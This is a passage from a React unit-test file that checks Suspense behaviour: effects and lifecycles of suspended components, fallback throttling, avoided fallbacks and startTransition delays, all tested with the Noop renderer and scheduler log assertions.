text = this.props.text;\n        readText(text);\n        Scheduler.log(text);\n        return <span prop={text} />;\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback={<TextWithLifecycle text=\"Loading...\" />}>\n          <TextWithLifecycle text=\"A\" />\n          <AsyncTextWithLifecycle text=\"B\" />\n          <TextWithLifecycle text=\"C\" />\n        </Suspense>\n      );\n    }\n\n    ReactNoop.renderLegacySyncRoot(<App />, () => Scheduler.log('Commit root'));\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'C',\n      'Loading...',\n\n      'Mount [A]',\n      // B's lifecycle should not fire because it suspended\n      // 'Mount [B]',\n      'Mount [C]',\n      'Mount [Loading...]',\n      'Commit root',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true} prop=\"A\" />\n        <span hidden={true} prop=\"C\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache && !disableLegacyMode\n  it('does not call lifecycles of a suspended component (hooks)', async () => {\n    function TextWithLifecycle(props) {\n      React.useLayoutEffect(() => {\n        Scheduler.log(`Layout Effect [${props.text}]`);\n        return () => {\n          Scheduler.log(`Destroy Layout Effect [${props.text}]`);\n        };\n      }, [props.text]);\n      React.useEffect(() => {\n        Scheduler.log(`Effect [${props.text}]`);\n        return () => {\n          Scheduler.log(`Destroy Effect [${props.text}]`);\n        };\n      }, [props.text]);\n      return <Text {...props} />;\n    }\n\n    function AsyncTextWithLifecycle(props) {\n      React.useLayoutEffect(() => {\n        Scheduler.log(`Layout Effect [${props.text}]`);\n        return () => {\n          Scheduler.log(`Destroy Layout Effect [${props.text}]`);\n        };\n      }, [props.text]);\n      React.useEffect(() => {\n        Scheduler.log(`Effect [${props.text}]`);\n        return () => {\n          Scheduler.log(`Destroy Effect [${props.text}]`);\n        };\n      }, [props.text]);\n      const text = props.text;\n      readText(text);\n      Scheduler.log(text);\n      return <span prop={text} />;\n    }\n\n    function App({text}) {\n      return (\n        <Suspense fallback={<TextWithLifecycle text=\"Loading...\" />}>\n          <TextWithLifecycle text=\"A\" />\n          <AsyncTextWithLifecycle text={text} />\n          <TextWithLifecycle text=\"C\" />\n        </Suspense>\n      );\n    }\n\n    ReactNoop.renderLegacySyncRoot(<App text=\"B\" />, () =>\n      Scheduler.log('Commit root'),\n    );\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'C',\n      'Loading...',\n\n      'Layout Effect [A]',\n      // B's effect should not fire because it suspended\n      // 'Layout Effect [B]',\n      'Layout Effect [C]',\n      'Layout Effect [Loading...]',\n      'Commit root',\n    ]);\n\n    // Flush passive effects.\n    await waitForAll([\n      'Effect [A]',\n      // B's effect should not fire because it suspended\n      // 'Effect [B]',\n      'Effect [C]',\n      'Effect [Loading...]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span hidden={true} prop=\"A\" />\n        <span hidden={true} prop=\"C\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await act(() => {\n      resolveText('B');\n    });\n\n    assertLog([\n      'B',\n      'Destroy Layout Effect [Loading...]',\n      'Layout Effect [B]',\n      'Destroy Effect [Loading...]',\n      'Effect [B]',\n    ]);\n\n    // Update\n    ReactNoop.renderLegacySyncRoot(<App text=\"B2\" />, () =>\n      Scheduler.log('Commit root'),\n    );\n\n    assertLog([\n      'A',\n      'Suspend! [B2]',\n      'C',\n      'Loading...',\n\n      // B2's effect should not fire because it suspended\n      // 'Layout Effect [B2]',\n      'Layout Effect [Loading...]',\n      'Commit root',\n    ]);\n\n    // Flush passive effects.\n    await waitForAll([\n      // B2's effect should not fire because it suspended\n      // 'Effect [B2]',\n      'Effect [Loading...]',\n    ]);\n\n    await act(() => {\n      resolveText('B2');\n    });\n\n    assertLog([\n      'B2',\n      'Destroy Layout Effect [Loading...]',\n      'Destroy Layout Effect [B]',\n      'Layout Effect [B2]',\n      'Destroy Effect [Loading...]',\n      'Destroy Effect [B]',\n      'Effect [B2]',\n    ]);\n  });\n\n  // @gate enableLegacyCache\n  it('does not suspends if a fallback has been shown for a long time', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n          <Suspense fallback={<Text text=\"Loading more...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    // Start rendering\n    await waitForAll([\n      'Foo',\n      // A suspends\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Loading more...',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n    // Wait a long time.\n    Scheduler.unstable_advanceTime(5000);\n    await advanceTimers(5000);\n\n    // Retry with the new content.\n    await resolveText('A');\n    await waitForAll([\n      'A',\n      // B suspends\n      'Suspend! [B]',\n      'Loading more...',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    // Because we've already been waiting for so long we've exceeded\n    // our threshold and we show the next level immediately.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Loading more...\" />\n      </>,\n    );\n\n    // Flush the last promise completely\n    await act(() => resolveText('B'));\n    // Renders successfully\n    assertLog(['B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('throttles content from appearing if a fallback was shown recently', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n          <Suspense fallback={<Text text=\"Loading more...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    // Start rendering\n    await waitForAll([\n      'Foo',\n      // A suspends\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n      'Loading more...',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n    await act(async () => {\n      await resolveText('A');\n\n      // Retry with the new content.\n      await waitForAll([\n        'A',\n        // B suspends\n        'Suspend! [B]',\n        'Loading more...',\n      ]);\n      // Because we've already been waiting for so long we can\n      // wait a bit longer. Still nothing...\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      // Before we commit another Promise resolves.\n      // We're still showing the first loading state.\n      await resolveText('B');\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      // Restart and render the complete content.\n      await waitForAll(['A', 'B']);\n\n      if (gate(flags => flags.alwaysThrottleRetries)) {\n        // Correct behavior:\n        //\n        // The tree will finish but we won't commit the result yet because the fallback appeared recently.\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      } else {\n        // Old behavior, gated until this rolls out at Meta:\n        //\n        // TODO: Because this render was the result of a retry, and a fallback\n        // was shown recently, we should suspend and remain on the fallback for\n        // little bit longer. We currently only do this if there's still\n        // remaining fallbacks in the tree, but we should do it for all retries.\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A\" />\n            <span prop=\"B\" />\n          </>,\n        );\n      }\n    });\n    assertLog([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('throttles content from appearing if a fallback was filled in recently', async () => {\n    function Foo() {\n      Scheduler.log('Foo');\n      return (\n        <>\n          <Suspense fallback={<Text text=\"Loading A...\" />}>\n            <AsyncText text=\"A\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    // Start rendering\n    await waitForAll([\n      'Foo',\n      'Suspend! [A]',\n      'Loading A...',\n      'Suspend! [B]',\n      'Loading B...',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"Loading A...\" />\n        <span prop=\"Loading B...\" />\n      </>,\n    );\n\n    // Resolve only A. B will still be loading.\n    await act(async () => {\n      await resolveText('A');\n\n      // If we didn't advance the time here, A would not commit; it would\n      // be throttled because the fallback would have appeared too recently.\n      Scheduler.unstable_advanceTime(10000);\n      jest.advanceTimersByTime(10000);\n      if (gate(flags => flags.enableYieldingBeforePassive)) {\n        // Passive effects.\n        await waitForPaint([]);\n      }\n      await waitForPaint(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"A\" />\n          <span prop=\"Loading B...\" />\n        </>,\n      );\n    });\n\n    // Advance by a small amount of time. For testing purposes, this is meant\n    // to be just under the throttling interval. It's a heurstic, though, so\n    // if we adjust the heuristic we might have to update this test, too.\n    Scheduler.unstable_advanceTime(200);\n    jest.advanceTimersByTime(200);\n\n    // Now resolve B.\n    await act(async () => {\n      await resolveText('B');\n      await waitForPaint(['B']);\n\n      if (gate(flags => flags.alwaysThrottleRetries)) {\n        // B should not commit yet. Even though it's been a long time since its\n        // fallback was shown, it hasn't been long since A appeared. So B's\n        // appearance is throttled to reduce jank.\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A\" />\n            <span prop=\"Loading B...\" />\n          </>,\n        );\n\n        // Advance time a little bit more. Now it commits because enough time\n        // has passed.\n        Scheduler.unstable_advanceTime(100);\n        jest.advanceTimersByTime(100);\n        await waitForAll([]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A\" />\n            <span prop=\"B\" />\n          </>,\n        );\n      } else {\n        // Old behavior, gated until this rolls out at Meta:\n        //\n        // B appears immediately, without being throttled.\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A\" />\n            <span prop=\"B\" />\n          </>,\n        );\n      }\n    });\n  });\n\n  // TODO: flip to \"warns\" when this is implemented again.\n  // @gate enableLegacyCache\n  it('does not warn when a low priority update suspends inside a high priority update for functional components', async () => {\n    let _setShow;\n    function App() {\n      const [show, setShow] = React.useState(false);\n      _setShow = setShow;\n      return (\n        <Suspense fallback=\"Loading...\">\n          {show && <AsyncText text=\"A\" />}\n        </Suspense>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n\n    // TODO: assertConsoleErrorDev() when the warning is implemented again.\n    await act(() => {\n      ReactNoop.flushSync(() => _setShow(true));\n    });\n  });\n\n  // TODO: flip to \"warns\" when this is implemented again.\n  // @gate enableLegacyCache\n  it('does not warn when a low priority update suspends inside a high priority update for class components', async () => {\n    let show;\n    class App extends React.Component {\n      state = {show: false};\n\n      render() {\n        show = () => this.setState({show: true});\n        return (\n          <Suspense fallback=\"Loading...\">\n            {this.state.show && <AsyncText text=\"A\" />}\n          </Suspense>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n\n    // TODO: assertConsoleErrorDev() when the warning is implemented again.\n    await act(() => {\n      ReactNoop.flushSync(() => show());\n    });\n  });\n\n  // @gate enableLegacyCache\n  it('does not warn about wrong Suspense priority if no new fallbacks are shown', async () => {\n    let showB;\n    class App extends React.Component {\n      state = {showB: false};\n\n      render() {\n        showB = () => this.setState({showB: true});\n        return (\n          <Suspense fallback=\"Loading...\">\n            {<AsyncText text=\"A\" />}\n            {this.state.showB && <AsyncText text=\"B\" />}\n          </Suspense>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n\n    await act(() => {\n      ReactNoop.flushSync(() => showB());\n    });\n\n    assertLog([\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n      'Suspend! [B]',\n    ]);\n  });\n\n  // TODO: flip to \"warns\" when this is implemented again.\n  // @gate enableLegacyCache\n  it(\n    'does not warn when component that triggered user-blocking update is between Suspense boundary ' +\n      'and component that suspended',\n    async () => {\n      let _setShow;\n      function A() {\n        const [show, setShow] = React.useState(false);\n        _setShow = setShow;\n        return show && <AsyncText text=\"A\" />;\n      }\n      function App() {\n        return (\n          <Suspense fallback=\"Loading...\">\n            <A />\n          </Suspense>\n        );\n      }\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n\n      // TODO: assertConsoleErrorDev() when the warning is implemented again.\n      await act(() => {\n        ReactNoop.flushSync(() => _setShow(true));\n      });\n    },\n  );\n\n  // @gate enableLegacyCache\n  it('normal priority updates suspending do not warn for class components', async () => {\n    let show;\n    class App extends React.Component {\n      state = {show: false};\n\n      render() {\n        show = () => this.setState({show: true});\n        return (\n          <Suspense fallback=\"Loading...\">\n            {this.state.show && <AsyncText text=\"A\" />}\n          </Suspense>\n        );\n      }\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n\n    // also make sure lowpriority is okay\n    await act(() => show(true));\n\n    assertLog([\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    await resolveText('A');\n\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n  });\n\n  // @gate enableLegacyCache\n  it('normal priority updates suspending do not warn for functional components', async () => {\n    let _setShow;\n    function App() {\n      const [show, setShow] = React.useState(false);\n      _setShow = setShow;\n      return (\n        <Suspense fallback=\"Loading...\">\n          {show && <AsyncText text=\"A\" />}\n        </Suspense>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<App />);\n    });\n\n    // also make sure lowpriority is okay\n    await act(() => _setShow(true));\n\n    assertLog([\n      'Suspend! [A]',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    await resolveText('A');\n\n    expect(ReactNoop).toMatchRenderedOutput('Loading...');\n  });\n\n  // @gate enableLegacyCache && enableSuspenseAvoidThisFallback\n  it('shows the parent fallback if the inner fallback should be avoided', async () => {\n    function Foo({showC}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Initial load...\" />}>\n          <Suspense\n            unstable_avoidThisFallback={true}\n            fallback={<Text text=\"Updating...\" />}>\n            <AsyncText text=\"A\" />\n            {showC ? <AsyncText text=\"C\" /> : null}\n          </Suspense>\n          <Text text=\"B\" />\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([\n      'Foo',\n      'Suspend! [A]',\n      'Initial load...',\n      // pre-warming\n      'Suspend! [A]',\n      'B',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Initial load...\" />);\n\n    // Eventually we resolve and show the data.\n    await act(() => resolveText('A'));\n    assertLog(['A', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    // Update to show C\n    ReactNoop.render(<Foo showC={true} />);\n    await waitForAll([\n      'Foo',\n      'A',\n      'Suspend! [C]',\n      'Updating...',\n      'B',\n      // pre-warming\n      'A',\n      'Suspend! [C]',\n    ]);\n    // Flush to skip suspended time.\n    Scheduler.unstable_advanceTime(600);\n    await advanceTimers(600);\n    // Since the optional suspense boundary is already showing its content,\n    // we have to use the inner fallback instead.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" hidden={true} />\n        <span prop=\"Updating...\" />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    // Later we load the data.\n    await act(() => resolveText('C'));\n    assertLog(['A', 'C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"C\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('does not show the parent fallback if the inner fallback is not defined', async () => {\n    function Foo({showC}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Initial load...\" />}>\n          <Suspense>\n            <AsyncText text=\"A\" />\n            {showC ? <AsyncText text=\"C\" /> : null}\n          </Suspense>\n          <Text text=\"B\" />\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([\n      'Foo',\n      'Suspend! [A]',\n      'B',\n      // null\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n    // Eventually we resolve and show the data.\n    await act(() => resolveText('A'));\n    assertLog(['A']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    // Update to show C\n    ReactNoop.render(<Foo showC={true} />);\n    await waitForAll([\n      'Foo',\n      'A',\n      'Suspend! [C]',\n      // null\n      'B',\n      // pre-warming\n      'A',\n      'Suspend! [C]',\n    ]);\n    // Flush to skip suspended time.\n    Scheduler.unstable_advanceTime(600);\n    await advanceTimers(600);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" hidden={true} />\n        <span prop=\"B\" />\n      </>,\n    );\n\n    // Later we load the data.\n    await act(() => resolveText('C'));\n    assertLog(['A', 'C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"C\" />\n        <span prop=\"B\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache\n  it('favors showing the inner fallback for nested top level avoided fallback', async () => {\n    function Foo({showB}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense\n          unstable_avoidThisFallback={true}\n          fallback={<Text text=\"Loading A...\" />}>\n          <Text text=\"A\" />\n          <Suspense\n            unstable_avoidThisFallback={true}\n            fallback={<Text text=\"Loading B...\" />}>\n            <AsyncText text=\"B\" />\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll([\n      'Foo',\n      'A',\n      'Suspend! [B]',\n      'Loading B...',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n    // Flush to skip suspended time.\n    Scheduler.unstable_advanceTime(600);\n    await advanceTimers(600);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span prop=\"A\" />\n        <span prop=\"Loading B...\" />\n      </>,\n    );\n  });\n\n  // @gate enableLegacyCache && enableSuspenseAvoidThisFallback\n  it('keeps showing an avoided parent fallback if it is already showing', async () => {\n    function Foo({showB}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Initial load...\" />}>\n          <Suspense\n            unstable_avoidThisFallback={true}\n            fallback={<Text text=\"Loading A...\" />}>\n            <Text text=\"A\" />\n            {showB ? (\n              <Suspense\n                unstable_avoidThisFallback={true}\n                fallback={<Text text=\"Loading B...\" />}>\n                <AsyncText text=\"B\" />\n              </Suspense>\n            ) : null}\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo showB={true} />);\n    });\n\n    await waitForAll(['Foo', 'A', 'Suspend! [B]', 'Loading B...']);\n\n    // Transitions never fall back.\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('keeps showing an undefined fallback if it is already showing', async () => {\n    function Foo({showB}) {\n      Scheduler.log('Foo');\n      return (\n        <Suspense fallback={<Text text=\"Initial load...\" />}>\n          <Suspense fallback={undefined}>\n            <Text text=\"A\" />\n            {showB ? (\n              <Suspense fallback={undefined}>\n                <AsyncText text=\"B\" />\n              </Suspense>\n            ) : null}\n          </Suspense>\n        </Suspense>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n    React.startTransition(() => {\n      ReactNoop.render(<Foo showB={true} />);\n    });\n\n    await waitForAll([\n      'Foo',\n      'A',\n      'Suspend! [B]',\n      // Null\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n    // Still suspended.\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n    // Flush to skip suspended time.\n    Scheduler.unstable_advanceTime(600);\n    await advanceTimers(600);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n  });\n\n  describe('startTransition', () => {\n    // @gate enableLegacyCache\n    it('top level render', async () => {\n      function App({page}) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={page} />\n          </Suspense>\n        );\n      }\n\n      // Initial render.\n      React.startTransition(() => ReactNoop.render(<App page=\"A\" />));\n\n      await waitForAll([\n        'Suspend! [A]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [A]',\n      ]);\n      // Only a short time is needed to unsuspend the initial loading state.\n      Scheduler.unstable_advanceTime(400);\n      await advanceTimers(400);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      React.startTransition(() => ReactNoop.render(<App page=\"B\" />));\n\n      await waitForAll(['Suspend! [B]', 'Loading...']);\n      Scheduler.unstable_advanceTime(100000);\n      await advanceTimers(100000);\n      // Even after lots of time has passed, we have still not yet flushed the\n      // loading state.\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n    });\n\n    // @gate enableLegacyCache\n    it('hooks', async () => {\n      let transitionToPage;\n      function App() {\n        const [page, setPage] = React.useState('none');\n        transitionToPage = setPage;\n        if (page === 'none') {\n          return null;\n        }\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={page} />\n          </Suspense>\n        );\n      }\n\n      ReactNoop.render(<App />);\n      await waitForAll([]);\n\n      // Initial render.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('A'));\n\n        await waitForAll([\n          'Suspend! [A]',\n          'Loading...',\n          // pre-warming\n          'Suspend! [A]',\n        ]);\n        // Only a short time is needed to unsuspend the initial loading state.\n        Scheduler.unstable_advanceTime(400);\n        await advanceTimers(400);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('B'));\n\n        await waitForAll(['Suspend! [B]', 'Loading...']);\n        Scheduler.unstable_advanceTime(100000);\n        await advanceTimers(100000);\n        // Even after lots of time has passed, we have still not yet flushed the\n        // loading state.\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n      });\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n    });\n\n    // @gate enableLegacyCache\n    it('classes', async () => {\n      let transitionToPage;\n      class App extends React.Component {\n        state = {page: 'none'};\n        render() {\n          transitionToPage = page => this.setState({page});\n          const page = this.state.page;\n          if (page === 'none') {\n            return null;\n          }\n          return (\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <AsyncText text={page} />\n            </Suspense>\n          );\n        }\n      }\n\n      ReactNoop.render(<App />);\n      await waitForAll([]);\n\n      // Initial render.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('A'));\n\n        await waitForAll([\n          'Suspend! [A]',\n          'Loading...',\n          // pre-warming\n          'Suspend! [A]',\n        ]);\n        // Only a short time is needed to unsuspend the initial loading state.\n        Scheduler.unstable_advanceTime(400);\n        await advanceTimers(400);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('B'));\n\n        await waitForAll(['Suspend! [B]', 'Loading...']);\n        Scheduler.unstable_advanceTime(100000);\n        await advanceTimers(100000);\n        // Even after lots of time has passed, we have still not yet flushed the\n        // loading state.\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n      });\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n    });\n  });\n\n  describe('delays transitions when using React.startTransition', () => {\n    // @gate enableLegacyCache\n    it('top level render', async () => {\n      function App({page}) {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={page} />\n          </Suspense>\n        );\n      }\n\n      // Initial render.\n      React.startTransition(() => ReactNoop.render(<App page=\"A\" />));\n\n      await waitForAll([\n        'Suspend! [A]',\n        'Loading...',\n        // pre-warming\n        'Suspend! [A]',\n      ]);\n      // Only a short time is needed to unsuspend the initial loading state.\n      Scheduler.unstable_advanceTime(400);\n      await advanceTimers(400);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      React.startTransition(() => ReactNoop.render(<App page=\"B\" />));\n\n      await waitForAll(['Suspend! [B]', 'Loading...']);\n      Scheduler.unstable_advanceTime(2999);\n      await advanceTimers(2999);\n      // Since the timeout is infinite (or effectively infinite),\n      // we have still not yet flushed the loading state.\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Start a long (infinite) transition.\n      React.startTransition(() => ReactNoop.render(<App page=\"C\" />));\n      await waitForAll(['Suspend! [C]', 'Loading...']);\n\n      // Even after lots of time has passed, we have still not yet flushed the\n      // loading state.\n      Scheduler.unstable_advanceTime(100000);\n      await advanceTimers(100000);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n    });\n\n    // @gate enableLegacyCache\n    it('hooks', async () => {\n      let transitionToPage;\n      function App() {\n        const [page, setPage] = React.useState('none');\n        transitionToPage = setPage;\n        if (page === 'none') {\n          return null;\n        }\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text={page} />\n          </Suspense>\n        );\n      }\n\n      ReactNoop.render(<App />);\n      await waitForAll([]);\n\n      // Initial render.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('A'));\n\n        await waitForAll([\n          'Suspend! [A]',\n          'Loading...',\n          // pre-warming\n          'Suspend! [A]',\n        ]);\n        // Only a short time is needed to unsuspend the initial loading state.\n        Scheduler.unstable_advanceTime(400);\n        await advanceTimers(400);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('B'));\n\n        await waitForAll(['Suspend! [B]', 'Loading...']);\n\n        Scheduler.unstable_advanceTime(2999);\n        await advanceTimers(2999);\n        // Since the timeout is infinite (or effectively infinite),\n        // we have still not yet flushed the loading state.\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('B'));\n      assertLog(['B']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n\n      // Start a long (infinite) transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('C'));\n\n        await waitForAll(['Suspend! [C]', 'Loading...']);\n\n        // Even after lots of time has passed, we have still not yet flushed the\n        // loading state.\n        Scheduler.unstable_advanceTime(100000);\n        await advanceTimers(100000);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"B\" />);\n      });\n    });\n\n    // @gate enableLegacyCache\n    it('classes', async () => {\n      let transitionToPage;\n      class App extends React.Component {\n        state = {page: 'none'};\n        render() {\n          transitionToPage = page => this.setState({page});\n          const page = this.state.page;\n          if (page === 'none') {\n            return null;\n          }\n          return (\n            <Suspense fallback={<Text text=\"Loading...\" />}>\n              <AsyncText text={page} />\n            </Suspense>\n          );\n        }\n      }\n\n      ReactNoop.render(<App />);\n      await waitForAll([]);\n\n      // Initial render.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('A'));\n\n        await waitForAll([\n          'Suspend! [A]',\n          'Loading...',\n          // pre-warming\n          'Suspend! [A]',\n        ]);\n        // Only a short time is needed to unsuspend the initial loading state.\n        Scheduler.unstable_advanceTime(400);\n        await advanceTimers(400);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n      });\n\n      // Later we load the data.\n      await act(() => resolveText('A'));\n      assertLog(['A']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"A\" />);\n\n      // Start transition.\n      await act(async () => {\n        React.startTransition(() => transitionToPage('B'));\n\n        await waitForAll(['Suspend! [B]', 'Loading...']);\n        Scheduler.unstable_advanceTime(2999);\n        